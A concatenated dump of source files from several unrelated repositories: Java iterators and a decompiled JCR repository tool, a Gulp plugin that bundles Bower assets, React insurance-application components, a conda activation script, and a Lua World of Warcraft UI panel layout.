import java.util.NoSuchElementException;
import javax.jcr.Node;
import javax.jcr.NodeIterator;
import javax.jcr.RepositoryException;
public class ChildrenNodeIterator extends AppendingNodeIterator implements NodeIterator {
NodeIterator parents = null;
Node actualNode = null;
NodeIterator childIterator;
private int counter;
public ChildrenNodeIterator(NodeIterator ni) {
parents = ni;
}
public Node nextNode() {
if (childIterator == null) {
if (parents == null)
throw new NoSuchElementException();
if (actualNode == null)
if (parents.hasNext())
actualNode = parents.nextNode();
else
throw new NoSuchElementException();
if (actualNode == null)
throw new NoSuchElementException();
else {
try {
childIterator = actualNode.getNodes();
} catch (RepositoryException e) {
throw new NoSuchElementException();
}
}
}
if (childIterator.hasNext())
return childIterator.nextNode();
else {
while (parents.hasNext()) {
actualNode = parents.nextNode();
if (childIterator.hasNext()) {
counter++;
return childIterator.nextNode();
}
}
throw new NoSuchElementException();
}
}
public long getPosition() {
return counter;
}
public long getSize() {
throw new UnsupportedOperationException();
}
public void skip(long skipNum) {
}
public boolean hasNext() {
// TODO Auto-generated method stub
return false;
}
public Object next() {
// TODO Auto-generated method stub
return null;
}
public void remove() {
// TODO Auto-generated method stub
}
}
<file_sep>package net.suteren.jcr.shell;
import java.util.NoSuchElementException;
import javax.jcr.Node;
import javax.jcr.NodeIterator;
public class SingleNodeIterator implements NodeIterator {
private Node node = null;
private boolean next = false;
public SingleNodeIterator(Node n) {
node = n;
if (node != null)
next = true;
}
public Node nextNode() {
return node;
}
public long getPosition() {
return next ? 0 : 1;
}
public long getSize() {
return node == null ? 0 : 1;
}
public void skip(long skipNum) {
if (skipNum > 1 || !next || node == null)
throw new NoSuchElementException();
}
public boolean hasNext() {
return next;
}
public Object next() {
return nextNode();
}
public void remove() {
node = null;
}
}
<file_sep>// Decompiled by Jad v1.5.8e. Copyright 2001 <NAME>.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name: JcrTool.java
package net.suteren.jcr.shell;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import javax.jcr.Credentials;
import javax.jcr.LoginException;
import javax.jcr.NamespaceException;
import javax.jcr.NamespaceRegistry;
import javax.jcr.Node;
import javax.jcr.NodeIterator;
import javax.jcr.PathNotFoundException;
import javax.jcr.Property;
import javax.jcr.PropertyIterator;
import javax.jcr.Repository;
import javax.jcr.RepositoryException;
import javax.jcr.Session;
import javax.jcr.SimpleCredentials;
import javax.jcr.Workspace;
import javax.jcr.nodetype.NodeTypeManager;
import javax.jcr.query.InvalidQueryException;
import javax.jcr.query.Query;
import javax.jcr.query.QueryManager;
import javax.jcr.query.QueryResult;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
public class JcrTool {
private static final String NODE_PROPERTY_NAME = "name";
private static final char UNDERLINE = '_';
private static final String NUMBER_SHORTCUT = "n";
public JcrTool(Repository newRepository) {
session = null;
workspace = null;
queryManager = null;
namespaceRegistry = null;
nodeTypeManager = null;
log = LogFactory.getLog(getClass());
repository = newRepository;
}
public Repository getRepository() {
return repository;
}
public Session login(Credentials credentials) throws LoginException,
RepositoryException, IOException {
if (credentials == null)
session = getRepository().login();
else {
if (getSession() != null)
session = getSession().impersonate(credentials);
else
session = getRepository().login(credentials);
}
return session;
}
public Session login() throws LoginException, RepositoryException, IOException {
return login(null);
}
public Session getSession() throws LoginException, IOException,
RepositoryException {
if (session == null) {
session = login();
}
return session;
}
public Workspace getWorkspace() throws LoginException, IOException,
RepositoryException {
if (workspace == null)
workspace = getSession().getWorkspace();
return workspace;
}
public QueryManager getQueryManager() throws LoginException,
RepositoryException, IOException {
if (queryManager == null)
queryManager = getWorkspace().getQueryManager();
return queryManager;
}
public NamespaceRegistry getNamespaceRegistry() throws LoginException,
RepositoryException, IOException {
if (namespaceRegistry == null)
namespaceRegistry = getWorkspace().getNamespaceRegistry();
return namespaceRegistry;
}
public NodeTypeManager getNodeTypeManager() throws LoginException,
RepositoryException, IOException {
if (nodeTypeManager == null)
nodeTypeManager = getWorkspace().getNodeTypeManager();
return nodeTypeManager;
}
public Query createXpathQuery(String query) throws InvalidQueryException,
LoginException, RepositoryException, IOException {
return getQueryManager().createQuery(query, "xpath");
}
public Query createSqlQuery(String query) throws InvalidQueryException,
LoginException, RepositoryException, IOException {
return getQueryManager().createQuery(query, "sql");
}
public QueryResult executeXpathQuery(String query)
throws InvalidQueryException, LoginException, RepositoryException,
IOException {
return createXpathQuery(query).execute();
}
public QueryResult executeSqlQuery(String query)
throws InvalidQueryException, LoginException, RepositoryException,
IOException {
return createSqlQuery(query).execute();
}
public void commit() throws RepositoryException, IOException {
Session session = getSession();
session.save();
}
public void logout() throws RepositoryException, IOException {
Session session = getSession();
session.logout();
}
public Node getRootNode() throws RepositoryException, IOException {
Session session = getSession();
Node rootNode = session.getRootNode();
return rootNode;
}
public Node getRepositoryRoot() throws PathNotFoundException,
RepositoryException, IOException {
return getRootNode().getNode("jcr:root");
}
public static Node addNodeIfNotExists(Node root, String node)
throws RepositoryException {
NodeIterator ni = root.getNodes(node);
if (ni.hasNext())
return null;
else
return root.addNode(node);
}
public static Node addNodeIfNotExists(Node root, String node, String type)
throws RepositoryException {
try {
NodeIterator ni = root.getNodes(node);
// String typeName = root.getPrimaryNodeType().getName();
if (ni.hasNext())
return ni.nextNode();
else {
Node oNode = root.addNode(node, type);
oNode.setProperty(NODE_PROPERTY_NAME, node);
return oNode;
}
} catch (Exception e) {
Node oNode = root.addNode(node, type);
oNode.setProperty(NODE_PROPERTY_NAME, node);
return oNode;
}
}
/**
* Vrati node s rel.path, ak neexistuje, tak ho vytvori. Kontroluje sa
* parameter node a nie name.
*
* @param root
* - parent node
* @param node
* - rel.path (jcr nazov)
* @param name
* - nazov nodu (property name)
* @param type
* - jcr type
* @return - node s rel.path
* @throws RepositoryException
*/
public static Node addNodeIfNotExists(Node root, String node, String name,
String type) throws RepositoryException {
try {
NodeIterator ni = root.getNodes(node);
// String typeName = root.getPrimaryNodeType().getName();
if (ni.hasNext())
return ni.nextNode();
else {
Node oNode = root.addNode(node, type);
oNode.setProperty(NODE_PROPERTY_NAME, name);
return oNode;
}
} catch (Exception e) {
Node oNode = root.addNode(node, type);
oNode.setProperty(NODE_PROPERTY_NAME, node);
return oNode;
}
}
public void registerNamespace(String namespace, String uri)
throws RepositoryException, IOException {
NamespaceRegistry nsr = getNamespaceRegistry();
String euri = null;
try {
euri = nsr.getURI(namespace);
} catch (NamespaceException e) {
log.debug("Namespace " + namespace + " not registered yet.");
}
if (uri.equals(euri))
log.warn("Namespace " + namespace + " already registered " + " as "
+ euri + ". New request is " + uri);
else
try {
nsr.registerNamespace(namespace, uri);
log.info("Namespace registered: " + namespace + " = " + uri);
} catch (NamespaceException e) {
}
}
public static String dump(Node node) throws RepositoryException {
return dump(node, true);
}
public static String printTree(Node node) throws RepositoryException {
return dump(node, false);
}
private static String dump(Node node, boolean detail)
throws RepositoryException {
String depth = "";
if ("jcr:system".equals(node.getName()))
return "";
for (int i = 0; i < node.getDepth(); i++)
depth = depth + " ";
StringBuilder sb = new StringBuilder();
String sep = ",";
sb.append(depth);
sb.append("[" + node.getPath());
for (PropertyIterator propIterator = node.getProperties(); propIterator
.hasNext();) {
Property prop = propIterator.nextProperty();
sb.append(sep);
sb.append("@" + prop.getName() + "=");
try {
String value = prop.getString();
String firstLine = null;
if (value.indexOf('\n') > -1) {
firstLine = value.substring(0, value.indexOf('\n'));
if (firstLine.length() < value.length())
value = firstLine + "...";
}
if (value.length() > DUMP_LINE_LENGTH)
value = value.substring(0, DUMP_LINE_LENGTH) + "...";
sb.append("\"" + value + "\"");
} catch (RepositoryException e) {
sb.append("UNPRINTABLE");
}
}
sb.append("]");
sb.append("\n");
for (NodeIterator nodeIterator = node.getNodes(); nodeIterator
.hasNext(); sb.append(dump(nodeIterator.nextNode())))
;
return sb.toString();
}
public static String printout(Node n) throws RepositoryException {
String out = "NODE: >" + n.getPath() + "<\n";
for (PropertyIterator pi = n.getProperties(); pi.hasNext();) {
Property p = pi.nextProperty();
out = out + " * " + p.getName() + " = ";
try {
out = out + p.getString();
} catch (Exception e) {
out = out + "UNPRINTABLE";
}
out = out + "\n";
}
return out;
}
public void measureQuery(String query) throws LoginException,
RepositoryException, IOException {
long tsStartQuery = System.currentTimeMillis();
QueryResult qr = executeXpathQuery(query);
long tsExecutedQuery = System.currentTimeMillis();
log.debug("Query " + query + " executed in "
+ (tsExecutedQuery - tsStartQuery) + "ms.");
NodeIterator ni = qr.getNodes();
long size = ni.getSize();
long tsGotNodes = System.currentTimeMillis();
log.debug(ni.getSize() + " nodes for query " + query + " got in "
+ (tsGotNodes - tsExecutedQuery) + "ms.");
boolean firstTime = true;
long tsFirstNode = 0L;
while (ni.hasNext()) {
if (firstTime) {
tsFirstNode = System.currentTimeMillis();
log.debug("First node for " + query + " got in "
+ (tsFirstNode - tsGotNodes) + "ms.");
firstTime = false;
}
Node node = ni.nextNode();
}
long tsAllNodes = System.currentTimeMillis();
log.debug("All " + size + " nodes for " + query + " got in "
+ (tsAllNodes - tsGotNodes) + "ms.");
log.info("query: \"" + query + "\" [" + size + "] ("
+ (tsAllNodes - tsStartQuery) + " ["
+ (tsExecutedQuery - tsStartQuery) + "|"
+ (tsGotNodes - tsStartQuery) + "|"
+ (tsFirstNode - tsStartQuery) + "])");
}
public void cleanUpRepository() throws PathNotFoundException,
RepositoryException, IOException {
NodeIterator ni = getRootNode().getNodes();
do {
if (!ni.hasNext())
break;
Node n = ni.nextNode();
if (!"jcr:system".equals(n.getName())) {
log.debug("removing node " + n.getName());
n.remove();
}
} while (true);
}
public String exportDocumentView(String path) throws PathNotFoundException,
LoginException, IOException, RepositoryException {
OutputStream ostr = new ByteArrayOutputStream();
getSession().exportDocumentView(path, ostr, false, false);
return ((ByteArrayOutputStream) ostr).toString();
}
public String exportSystemView(String path) throws PathNotFoundException,
LoginException, IOException, RepositoryException {
OutputStream ostr = new ByteArrayOutputStream();
getSession().exportSystemView(path, ostr, false, false);
return ((ByteArrayOutputStream) ostr).toString();
}
private static final int DUMP_LINE_LENGTH = 80;
protected static Log log = LogFactory
.getLog("cz.empire.common.jct.tools.AbstractJcrTool");
protected static Repository repository = null;
private Session session;
private Workspace workspace;
private QueryManager queryManager;
private NamespaceRegistry namespaceRegistry;
private NodeTypeManager nodeTypeManager;
public Node removeNodeFromJcr(Node oNode) throws RepositoryException,
IOException {
log.info("removing node " + oNode.getName());
Node oParent = oNode.getParent();
log.info("removing node " + oParent.getName());
oNode.remove();
commit();
return oParent;
}
public static String cleanCharFromString(String sPart) {
if (sPart == null || "".equals(sPart))
return "";
else if (Character.isDigit(sPart.charAt(0)))
sPart = NUMBER_SHORTCUT + sPart; // aby cislo nebylo
// prvnim znakem jmena
for (int i = 0; i < sPart.length(); i++) {
char ch = sPart.charAt(i);
if (!Character.isLetterOrDigit(ch))
sPart = sPart.replace(ch, UNDERLINE);
}
return sPart;
}
}
| fad1aed0c9c30488bf3bb54d6d8db65088bbaf43 | [
"Makefile",
"Java",
"Maven POM",
"Shell"
] | 8 | Maven POM | konikvranik/jcr-shell | cc60c460c1e23b6b12368a589d19d251050fec79 | b7828778cc04475cff2723fa56120ae6af0512bd |
refs/heads/master | <file_sep>var gulp = require('gulp'), assets = require('./app.js');
var config = {
prefix: true
}
gulp.task('default', function(){
return gulp.src('assets.json').pipe(assets(config)).pipe(gulp.dest('build'));
});<file_sep>var through = require('through2');
var gutil = require('gulp-util');
var PluginError = gutil.PluginError;
var _ = require('underscore');
var vinyl = require('vinyl-fs');
var fs = require('fs');
var bower_ = require('bower'),
bower = bower_.commands;
var async = require('async');
//sonsole.log(bower_.config);
var path = require('path');
// Consts
const PLUGIN_NAME = 'gulp-bower-assets';
// Exporting the plugin main function
module.exports = function(config) {
if (!config) config = {};
_.defaults(config, {
prefix: false,
bower: {}
});
_.extend(bower_.config, config.bower);
var bowerDir = path.join(bower_.config.cwd, bower_.config.directory);
return through.obj(function(file, enc, cb) {
if (file.isNull())
return cb(null, file);
var assets, save = this,
base = path.dirname(file.path);
if (file.isBuffer())
assets = JSON.parse(file.contents.toString());
if (file.isStream()) {}
async.each(_.pairs(assets), function(pack, exit) {
var name;
if (_.isFunction(config.prefix)) name = _.partial(config.prefix, _, pack[0]);
else if (_.isString(config.prefix)) name = function() {
return config.prefix.replace('{{PREFIX}}', pack[0])
};
else if (config.prefix === false)
name = function(filebase) {
return filebase;
};
else name = function(filebase) {
return [pack[0], filebase].join('.');
};
async.each(_.pairs(pack[1]), function(segment, endOnePrefixPack) {
var temp = segment[0].split('@'),
file = temp[0],
action = temp[1],
files = vinyl.src(_.map(segment[1], function(one) {
return path.join(bowerDir, one);
}), {
cwd: bowerDir,
buffer: true,
read: true,
//passthrough: true
});
switch (action) {
case 'concat':
var content = [],
error = [];
files.pipe(through.obj(function(file, enc, done) {
if (file.isNull()) {
bower.info(file.relative, null, {
offline: true
}).on('end', function(info) {
if (!info) {
gutil.log(PLUGIN_NAME, 'package not found', gutil.colors.magenta(file.relative));
error.push(file.relative);
return done();
}
gutil.log(PLUGIN_NAME, 'package found and inserted', gutil.colors.magenta(info.name + '#' + info.latest.version));
content.push(fs.readFileSync(path.join(bowerDir, info.name, info.latest.main)))
done();
});
} else {
content.push(file.contents);
content.push(new Buffer('\n'));
done();
}
}, function(close) {
var newFile = new gutil.File({
//cwd: "/",
//base: base,
path: path.join(base, name(file)),
contents: Buffer.concat(content)
});
save.push(newFile);
endOnePrefixPack();
close();
}));
break;
case 'copy':
files.pipe(through.obj(function(file_, enc, done) {
var newFile = new gutil.File({
//cwd: "/",
//base: "",
path: path.join(base, name(file), file_.relative),
contents: file_.contents
});
save.push(newFile);
done();
}, function(a){
a();
endOnePrefixPack();
}));
break;
}
}, exit);
}, function() {
cb(null)
});
});
};<file_sep># gulp-bower-assets
[](https://travis-ci.org/okvic77/gulp-bower-assets)
```javascript
var gulp = require('gulp'), assets = require('gulp-bower-assets');
var config = {
prefix: true
}
gulp.task('assets', function(){
return gulp.src('assets.json').pipe(assets(config)).pipe(gulp.dest('assets/build'));
});
```
``login`` text is the prefix. You can have may prefix's like app, public, common or others in the same file. You can ``gulp.src`` many files.
The second level of the json with an array is ``outputfile@action``. Current actions are ``concat,copy``.
```json
{
"login": {
"scripts.js@concat": [
"jquery/dist/jquery.min.js",
"angular/angular.min.js",
"bootstrap/dist/js/bootstrap.min.js",
"underscore/underscore-min.js",
"angular-bootstrap/ui-bootstrap.min.js",
"angular-bootstrap/ui-bootstrap-tpls.min.js",
"angular-ui-router/release/angular-ui-router.min.js",
"angular-messages/angular-messages.min.js",
"angular-animate/angular-animate.min.js",
"angular-resource/angular-resource.js"
],
"styles.css@concat": [
"animate.css/animate.min.css"
],
"fonts@copy": [
"bootstrap/dist/fonts/*",
"font-awesome/fonts/*"
]
}
}
``` | 41ddf55de0e5caac5ad177e0f3f081f8c94d3ae8 | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | bennyn/gulp-bower-assets | 095b7c486338e632756633e826d58095cc146a3c | 7bf8c71bb454d7b173530c5611e00bd2a0b5971b |
refs/heads/master | <repo_name>enterpriseih/texar-pytorch<file_sep>/env_active.sh
#conda create --name env_texar-pytorch python=3.6
source ~/anaconda3/bin/activate
conda activate env_texar-pytorch
| e04342f341a923bacc0c36721c539d037ae55971 | [
"Shell"
] | 1 | Shell | enterpriseih/texar-pytorch | 28723ea35bd224459af88b8a339a9fad86875130 | 46775748bb1276fb84c4e7a161d5dfa44eccb0ac |
refs/heads/master | <repo_name>densone/ForresterWave<file_sep>/components/YourDone.jsx
import React, {Component, PropTypes} from 'react';
import mui, {
TextField,
SelectField,
RaisedButton,
MenuItem,
Paper,
Table,
TableBody,
TableRow,
TableRowColumn,
Divider
} from 'material-ui';
import { humanizeFieldName } from '../src/helpers';
class SubmitApplicationForm extends Component {
constructor (props, context) {
super(props, context);
}
render () {
return (
<div style={this.props.containerStyle}>
<Paper style={this.props.paperStyle}>
<h3>Thanks for your application!</h3>
<Divider/>
<p>We are reviewing your application and will send you a text message once your application has been reviewed.</p>
</Paper>
</div>
);
}
}
export default SubmitApplicationForm;
<file_sep>/components/ApplicationView.jsx
import React, { Component, PropTypes } from "react";
import mui, {
Divider,
TextField,
SelectField,
RaisedButton,
MenuItem,
Paper,
Table,
TableHeader,
TableHeaderColumn,
TableBody,
TableRow,
TableRowColumn
} from 'material-ui';
import _ from 'lodash';
import {humanizeFieldName} from '../src/helpers';
class ApplicationView extends Component {
constructor (props, context) {
super(props, context);
}
render () {
let content;
if (_.isEmpty(this.props.application)) {
content = (
<div>
<h2>No application selected</h2>
<Divider/>
</div>
);
} else {
const fieldNames = [
"status",
"phone",
"email",
"streetAddress",
"streetAddressCont",
"city",
"state",
"zipCode",
"coverage",
"socialSecurityNumber",
"riskScore",
"creditScore"
];
let rows = [];
for (let fieldName of fieldNames) {
let fieldTitle = humanizeFieldName(fieldName);
let fieldValue = this.props.application[fieldName];
if (!!fieldValue) {
rows.push(
<TableRow>
<TableRowColumn>{fieldTitle}</TableRowColumn>
<TableRowColumn>{fieldValue}</TableRowColumn>
</TableRow>
);
}
}
content = (
<div>
<h2>Application for {this.props.application.firstName} {this.props.application.lastName}</h2>
<Divider/>
<Table>
<TableBody displayRowCheckbox={false}>
{rows}
</TableBody>
</Table>
</div>
);
}
return (
<div>{content}</div>
);
}
}
export default ApplicationView;
<file_sep>/src/index.jsx
import React from "react";
import ReactDOM from "react-dom";
import injectTapEventPlugin from "react-tap-event-plugin";
import { Router, Route, hashHistory } from 'react-router';
import App from '../components/App';
import Admin from '../components/Admin';
import ApplicationList from '../components/ApplicationList';
import ApplicationView from '../components/ApplicationView';
import ApplicationForm from '../components/ApplicationForm';
//Needed for React Developer Tools
window.React = React;
//Needed for onTouchTap
//Can go away when react 1.0 release
//Check this repo:
//https://github.com/zilverline/react-tap-event-plugin
injectTapEventPlugin();
ReactDOM.render(
<Router history={hashHistory}>
<Route path="/" component={App}>
<Route path="/admin" component={Admin}/>
<Route path="/apply" component={ApplicationForm}/>
<Route path="/applications/:id" component={ApplicationView} />
</Route>
</Router>,
document.getElementById("root")
);
| 917549c302201c4a626fc0f9d380859f897ed268 | [
"JavaScript"
] | 3 | JavaScript | densone/ForresterWave | f58f80475da035e9020776bef381191b82a7f768 | f9bf24c206bcdf7b7ab80cb2389d2ee76ee6e755 |
refs/heads/master | <repo_name>mnshdw/DuffedUIv8<file_sep>/DuffedUI/modules/panels/panels.lua
local D, C, L = unpack(select(2, ...))
local FrameScale = C["general"].FrameScaleActionBar
local ileft = CreateFrame("Frame", "DuffedUIInfoLeft", UIParent)
ileft:SetTemplate("Default")
ileft:Size(D.Scale(D.InfoLeftRightWidth - 9), 19)
ileft:SetPoint("BOTTOMLEFT", UIParent, "BOTTOMLEFT", 5, 3)
ileft:SetFrameLevel(2)
ileft:SetFrameStrata("BACKGROUND")
local iright = CreateFrame("Frame", "DuffedUIInfoRight", UIParent)
iright:SetTemplate("Default")
iright:Size(D.Scale(D.InfoLeftRightWidth - 9), 19)
iright:SetPoint("BOTTOMRIGHT", UIParent, "BOTTOMRIGHT", -5, 3)
iright:SetFrameLevel(2)
iright:SetFrameStrata("BACKGROUND")
if C["chat"].lbackground then
local chatleftbg = CreateFrame("Frame", "DuffedUIChatBackgroundLeft", DuffedUIInfoLeft)
chatleftbg:SetTemplate("Transparent")
chatleftbg:Size(D.InfoLeftRightWidth + 12, 149)
chatleftbg:Point("BOTTOMLEFT", UIParent, "BOTTOMLEFT", 5, 24)
chatleftbg:SetFrameLevel(1)
local tabsbgleft = CreateFrame("Frame", "DuffedUITabsLeftBackground", UIParent)
tabsbgleft:SetTemplate()
tabsbgleft:Size((D.InfoLeftRightWidth - 40), 20)
tabsbgleft:Point("TOPLEFT", chatleftbg, "TOPLEFT", 4, -4)
tabsbgleft:SetFrameLevel(2)
tabsbgleft:SetFrameStrata("BACKGROUND")
end
if C["chat"].rbackground then
local chatrightbg = CreateFrame("Frame", "DuffedUIChatBackgroundRight", DuffedUIInfoRight)
chatrightbg:SetTemplate("Transparent")
chatrightbg:Size(D.InfoLeftRightWidth + 12, 149)
chatrightbg:Point("BOTTOMRIGHT", UIParent, "BOTTOMRIGHT", -5, 24)
chatrightbg:SetFrameLevel(1)
local tabsbgright = CreateFrame("Frame", "DuffedUITabsRightBackground", UIParent)
tabsbgright:SetTemplate()
tabsbgright:Size((D.InfoLeftRightWidth - 209), 20)
tabsbgright:Point("TOPLEFT", chatrightbg, "TOPLEFT", 4, -4)
tabsbgright:SetFrameLevel(2)
tabsbgright:SetFrameStrata("BACKGROUND")
end
if not C["actionbar"].enable ~= true then
DuffedUIBar1Mover = CreateFrame("Frame", "DuffedUIBar1Mover", UIParent)
DuffedUIBar1Mover:SetTemplate("Transparent")
DuffedUIBar1Mover:SetSize((((D.buttonsize * 12) + (D.buttonspacing * 13)) * FrameScale), (((D.buttonsize * 1) + (D.buttonspacing * 2)) * FrameScale))
DuffedUIBar1Mover:SetPoint("BOTTOM", UIParent, "BOTTOM", 0, 130)
DuffedUIBar1Mover:SetFrameLevel(6)
DuffedUIBar1Mover:SetClampedToScreen(true)
DuffedUIBar1Mover:SetMovable(true)
DuffedUIBar1Mover.text = D.SetFontString(DuffedUIBar1Mover, C["media"].font, 11)
DuffedUIBar1Mover.text:SetPoint("CENTER")
DuffedUIBar1Mover.text:SetText(L["move"]["bar1"])
DuffedUIBar1Mover:SetBackdropBorderColor(1, 0, 0, 1)
DuffedUIBar1Mover:Hide()
tinsert(D.AllowFrameMoving, DuffedUIBar1Mover)
local DuffedUIBar1 = CreateFrame("Frame", "DuffedUIBar1", UIParent, "SecureHandlerStateTemplate")
DuffedUIBar1:SetTemplate("Transparent")
DuffedUIBar1:SetAllPoints(DuffedUIBar1Mover)
DuffedUIBar1:SetFrameStrata("BACKGROUND")
DuffedUIBar1:SetFrameLevel(1)
local DuffedUIBar2 = CreateFrame("Frame", "DuffedUIBar2", UIParent, "SecureHandlerStateTemplate")
DuffedUIBar2:SetTemplate("Transparent")
DuffedUIBar2:Point("BOTTOM", UIParent, "BOTTOM", 0, 93)
DuffedUIBar2:SetSize((((D.buttonsize * 12) + (D.buttonspacing * 13)) * FrameScale), (((D.buttonsize * 1) + (D.buttonspacing * 2)) * FrameScale))
DuffedUIBar2:SetFrameStrata("BACKGROUND")
DuffedUIBar2:SetFrameLevel(3)
DuffedUIBar2:SetClampedToScreen(true)
DuffedUIBar2:SetMovable(true)
tinsert(D.AllowFrameMoving, DuffedUIBar2)
local DuffedUIBar3 = CreateFrame("Frame", "DuffedUIBar3", UIParent, "SecureHandlerStateTemplate")
DuffedUIBar3:SetTemplate("Transparent")
DuffedUIBar3:Point("BOTTOMLEFT", DuffedUIInfoLeft, "BOTTOMRIGHT", 23, 0)
if C["actionbar"].Leftsidebarshorizontal then
DuffedUIBar3:SetSize((D.buttonsize * 12) + (D.buttonspacing * 13), (D.buttonsize * 1) + (D.buttonspacing * 2))
else
DuffedUIBar3:SetSize(((D.buttonsize - 4) * 2) + (D.buttonspacing * 3), ((D.buttonsize - 4) * 6) + (D.buttonspacing * 7))
end
DuffedUIBar3:SetFrameStrata("BACKGROUND")
DuffedUIBar3:SetFrameLevel(3)
DuffedUIBar3:SetClampedToScreen(true)
DuffedUIBar3:SetMovable(true)
tinsert(D.AllowFrameMoving, DuffedUIBar3)
local DuffedUIBar4 = CreateFrame("Frame", "DuffedUIBar4", UIParent, "SecureHandlerStateTemplate")
DuffedUIBar4:SetTemplate("Transparent")
DuffedUIBar4:Point("BOTTOMRIGHT", DuffedUIInfoRight, "BOTTOMLEFT", -23, 0)
if C["actionbar"].Rightsidebarshorizontal then
DuffedUIBar4:SetSize((D.buttonsize * 12) + (D.buttonspacing * 13), (D.buttonsize * 1) + (D.buttonspacing * 2))
else
DuffedUIBar4:SetSize(((D.buttonsize - 4) * 2) + (D.buttonspacing * 3), ((D.buttonsize - 4) * 6) + (D.buttonspacing * 7))
end
DuffedUIBar4:SetFrameStrata("BACKGROUND")
DuffedUIBar4:SetFrameLevel(3)
DuffedUIBar4:SetClampedToScreen(true)
DuffedUIBar4:SetMovable(true)
tinsert(D.AllowFrameMoving, DuffedUIBar4)
local DuffedUIBar5 = CreateFrame("Frame", "DuffedUIBar5", UIParent, "SecureHandlerStateTemplate")
DuffedUIBar5:SetTemplate("Transparent")
if C["actionbar"].rightbarvertical then
DuffedUIBar5:SetSize((((D.buttonsize * 12) + (D.buttonspacing * 13)) * FrameScale), (((D.buttonsize * 1) + (D.buttonspacing * 2)) * FrameScale))
DuffedUIBar5:Point("BOTTOM", UIParent, "BOTTOM", 0, 56)
else
DuffedUIBar5:SetSize((((D.buttonsize * 1) + (D.buttonspacing * 2)) * FrameScale), (((D.buttonsize * 12) + (D.buttonspacing * 13)) * FrameScale))
DuffedUIBar5:Point("RIGHT", UIParent, "RIGHT", -13, -14)
end
DuffedUIBar5:SetFrameStrata("BACKGROUND")
DuffedUIBar5:SetFrameLevel(3)
DuffedUIBar5:SetClampedToScreen(true)
DuffedUIBar5:SetMovable(true)
tinsert(D.AllowFrameMoving, DuffedUIBar5)
DuffedUIPetBarMover = CreateFrame("Frame", "DuffedUIPetBarMover", UIParent)
DuffedUIPetBarMover:SetTemplate("Transparent")
if C["actionbar"].petbarhorizontal ~= true and (not C["actionbar"].rightbarvertical) then
DuffedUIPetBarMover:SetSize(D.petbuttonsize + (D.petbuttonspacing * 2), (D.petbuttonsize * 10) + (D.petbuttonspacing * 11))
DuffedUIPetBarMover:SetPoint("RIGHT", DuffedUIBar5, "LEFT", -6, 0)
elseif C["actionbar"].rightbarvertical and (not C["actionbar"].petbarhorizontal) then
DuffedUIPetBarMover:SetSize(D.petbuttonsize + (D.petbuttonspacing * 2), (D.petbuttonsize * 10) + (D.petbuttonspacing * 11))
DuffedUIPetBarMover:SetPoint("RIGHT", UIParent, "RIGHT", -13, -14)
else
DuffedUIPetBarMover:SetSize((D.petbuttonsize * 10) + (D.petbuttonspacing * 11), D.petbuttonsize + (D.petbuttonspacing * 2))
if C["chat"].rbackground then DuffedUIPetBarMover:SetPoint("BOTTOMRIGHT", DuffedUIChatBackgroundRight, "TOPRIGHT", 0, 3) else DuffedUIPetBarMover:SetPoint("BOTTOMRIGHT", UIParent, "BOTTOMRIGHT", -5, 176) end
end
DuffedUIPetBarMover:SetFrameLevel(6)
DuffedUIPetBarMover:SetClampedToScreen(true)
DuffedUIPetBarMover:SetMovable(true)
DuffedUIPetBarMover.text = D.SetFontString(DuffedUIPetBarMover, C["media"].font, 11)
DuffedUIPetBarMover.text:SetPoint("CENTER")
DuffedUIPetBarMover.text:SetText(L["move"]["pet"])
DuffedUIPetBarMover:SetBackdropBorderColor(1, 0, 0, 1)
DuffedUIPetBarMover:Hide()
tinsert(D.AllowFrameMoving, DuffedUIPetBarMover)
local petbg = CreateFrame("Frame", "DuffedUIPetBar", UIParent, "SecureHandlerStateTemplate")
petbg:SetTemplate("Transparent")
petbg:SetAllPoints(DuffedUIPetBarMover)
end
local chatmenu = CreateFrame("Frame", "DuffedUIChatMenu", UIParent)
chatmenu:SetTemplate("Default")
chatmenu:Size(20)
if C["chat"].lbackground then chatmenu:Point("LEFT", DuffedUITabsLeftBackground, "RIGHT", 2, 0) else chatmenu:Point("TOPRIGHT", ChatFrame1, "TOPRIGHT", -11, 25) end
chatmenu:SetFrameLevel(3)
chatmenu.text = D.SetFontString(chatmenu, C["media"].font, 11, "THINOUTLINE")
chatmenu.text:SetPoint("CENTER", 1, -1)
chatmenu.text:SetText(D.PanelColor .. "E")
chatmenu:SetScript("OnMouseDown", function(self, btn)
if btn == "LeftButton" then ToggleFrame(ChatMenu) end
end)
if C["chat"].rbackground then
D.CreateBtn("MB_switch", DuffedUITabsRightBackground, 20, 20, L["buttons"]["ses_switch"], "S")
MB_switch:Point("LEFT", DuffedUITabsRightBackground, "RIGHT", 2, 0)
MB_switch:SetAttribute("macrotext1", "/switch")
else
D.CreateBtn("MB_switch", DuffedUIChatMenu, 20, 20, L["buttons"]["ses_switch"], "S")
MB_switch:Point("RIGHT", DuffedUIChatMenu, "LEFT", -2, 0)
MB_switch:SetAttribute("macrotext1", "/switch")
end
if DuffedUIMinimap then
local minimapstatsleft = CreateFrame("Frame", "DuffedUIMinimapStatsLeft", DuffedUIMinimap)
minimapstatsleft:SetTemplate()
minimapstatsleft:Size(((DuffedUIMinimap:GetWidth() + 4) / 2) -3, 19)
minimapstatsleft:Point("TOPLEFT", DuffedUIMinimap, "BOTTOMLEFT", 0, -2)
local minimapstatsright = CreateFrame("Frame", "DuffedUIMinimapStatsRight", DuffedUIMinimap)
minimapstatsright:SetTemplate()
minimapstatsright:Size(((DuffedUIMinimap:GetWidth() + 4) / 2) -3, 19)
minimapstatsright:Point("TOPRIGHT", DuffedUIMinimap, "BOTTOMRIGHT", 0, -2)
end
if C["datatext"].battleground == true then
local bgframe = CreateFrame("Frame", "DuffedUIInfoLeftBattleGround", UIParent)
bgframe:SetTemplate()
bgframe:SetAllPoints(ileft)
bgframe:SetFrameStrata("LOW")
bgframe:SetFrameLevel(0)
bgframe:EnableMouse(true)
end
local bnet = CreateFrame("Frame", "DuffedUIBnetHolder", UIParent)
bnet:SetTemplate("Default")
bnet:Size(BNToastFrame:GetWidth(), BNToastFrame:GetHeight())
bnet:Point("TOPLEFT", UIParent, "TOPLEFT", 3, -3)
bnet:SetClampedToScreen(true)
bnet:SetMovable(true)
bnet:SetBackdropBorderColor(1, 0, 0)
bnet.text = D.SetFontString(bnet, C["media"].font, 11)
bnet.text:SetPoint("CENTER")
bnet.text:SetText("Move BnetFrame")
